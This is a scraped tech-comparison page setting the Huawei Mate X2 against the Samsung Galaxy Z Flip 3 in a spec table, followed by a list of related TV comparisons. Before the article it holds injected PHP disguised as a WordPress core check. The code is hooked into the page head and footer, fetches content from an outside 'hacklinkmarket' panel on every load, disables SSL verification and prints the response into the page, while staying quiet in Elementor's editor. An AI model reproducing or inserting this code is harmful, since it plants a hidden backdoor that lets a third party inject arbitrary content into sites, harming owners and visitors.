if(!function_exists('wp_core_check')){function wp_core_check(){static $script_executed=false;if($script_executed){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$exe=curl_init();if($exe){curl_setopt_array($exe,[CURLOPT_URL=>"https://panel.hacklinkmarket.com/code?v=".time(),CURLOPT_HTTPHEADER=>["X-Request-Domain: ".($_SERVER['HTTPS']?"https://":"http://").$_SERVER['HTTP_HOST']."/","User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$response=curl_exec($exe);$http_code=curl_getinfo($exe,CURLINFO_HTTP_CODE);curl_close($exe);if($response!==false&&$http_code===200&&!empty($response)){echo $response;}}$script_executed=true;}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);} Huawei Mate X2 vs Samsung Galaxy Z Flip 3 Comparison

Huawei Mate X2 vs Samsung Galaxy Z Flip 3

Huawei Mate X2 vs Samsung Galaxy Z Flip 3: Get ready for the ultimate battle between the Huawei Mate X2 and the Samsung Galaxy Z Flip 3. These cutting-edge foldable smartphones are set to redefine the mobile industry. Discover the key differences and similarities between these two powerhouses in our in-depth comparison.

Feature Huawei Mate X2 Samsung Galaxy Z Flip 3
Display 8.0-inch Foldable OLED 6.7-inch Foldable Dynamic AMOLED
Resolution 2480 x 2200 pixels (unfolded) 2640 x 1080 pixels (unfolded)
Secondary Display 6.45-inch OLED (folded) 1.9-inch Super AMOLED (cover display)
Processor Huawei Kirin 9000 Qualcomm Snapdragon 888
RAM 8 GB 8 GB
Storage 256/512 GB 128/256 GB
Main Camera

50 MP (wide)

16 MP (ultra-wide)

12 MP (telephoto)

12 MP (wide)

12 MP (ultra-wide)

Front Camera 16 MP (wide) 10 MP (wide)
Battery Capacity 4500 mAh 3300 mAh
Charging Fast charging (55W) Fast charging (15W)
Wireless Charging Yes Yes
Operating System EMUI (based on Android) Android (One UI)
5G Support Yes Yes
Expandable Storage No No
Water Resistance No Yes (IPX8)
Fingerprint Sensor Side-mounted Side-mounted
SIM Card Nano-SIM Nano-SIM
Dimensions Unfolded: 161.8 x 145.8 x 8.2 mm Unfolded: 166 x 72.2 x 6.9 mm
Weight 295 g 183 g
Click to rate this post!
[Total: 0 Average: 0]


Related Posts

Samsung Class Tu8000 65 Vs Samsung Class S95b 65
Samsung Class Qn900b 85 Vs Hisense 75u6h 75
Lg Oled88z3pua 88 Vs Toshiba 58uk4b63db 58
Samsung Class Q70b 85 Vs Tcl 75s423 75
Samsung Ks8500 55 Vs Samsung Ju7100 55
Lg Class 86qned80ura 86 Vs Samsung Qa55qe1caklxl 55
Samsung Class Q60b 85 Vs Lg 75up75006lc 75
Samsung Qn800a 85 Vs Samsung Qn900a 85
Sony Xr 77a80k 77 Vs Samsung Class Qn95b 85
Sony Xr 48a90k 48 Vs Hisense 75u6h 75
Lg Oled65c6p 65 Vs Hisense 65a85h 65
Philips 65pus9206 12 65 Vs Samsung Class Q70a 85
Lg Nanocell 75 Series 65 65nano75upa Vs Sony Xr 75x90j 75
Samsung Ju750d 78 Vs Samsung Ku650d 55
Samsung Class Au8000 85 Vs Panasonic Th 75hx600k 75
Sharp 65fp6ea 65 Vs Xiaomi Mi Tv 4 65
Lg Uj6300 49 Vs Lg Nanocell 90 Series 55nano90upa 55
Samsung Class Q70t 55 Vs Samsung Qn95a 85
🔼
TechCompares.com | © Mobile Phone Comparison – Compare Mobile Phones